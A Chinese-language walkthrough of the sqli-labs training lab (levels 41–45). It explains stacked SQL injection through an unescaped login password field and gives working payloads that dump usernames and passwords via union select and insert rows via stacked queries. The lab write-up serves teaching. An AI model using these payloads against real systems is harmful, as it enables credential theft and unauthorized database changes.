0x1普通测试方式
(1)输入and1=1和and1=2测试,返回错误,证明存在注入
(2)union select联合查询
(3)查询表名
(4)其他
payload: union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')%23 union select 1,(select group_concat(username,password) from users)%23
0x2 堆叠注入方式
payload: http://192.168.232.135/sqli-labs/Less-41/?id=1;insert into users values(105,'test1','test1')%23
0x3 第四十二关
本关打开是post,新建用户和重置密码处都无法访问Update更新数据后,经过mysql_real_escape_string()处理后的数据,存入到数据库当中后不会发生变化。在select调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这关和二次注入的思路是不一样的。
(1)查看源码login.php,可以看出password参数没有经过过滤
$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname); $username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
(2)这样一来我们就可以直接在密码处做文章
随意输入用户名,密码如下:
a';insert into users values(106,'aaa','aaa')
0x4 第四十三关
与上面原理,不同的地方是闭合点不同
过滤点: $username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"]; sql语句: $sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
随意输入用户名,密码如下:
paload:
a');insert into users values(106,'aaa','aaa')%23
0x5 第四十四关
本关是基于盲注的,这里盲注主要是要没有报错信息,所以要采用盲注。这关与42关的区别就在于没有报错信息
过滤点:
$username = mysqli_real_escape_string($con1, $_POST["login_user"]); $password = $_POST["login_password"];
sql语句:
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
随意输入用户名,密码如下:
paload: a';insert into users values(107,'aaa','aaa')#
0X6 第四十五关
与四十三关的区别在于并没有报错信息,也就是基于盲注
payload: a');insert into users values(108,'aaa','aaa')#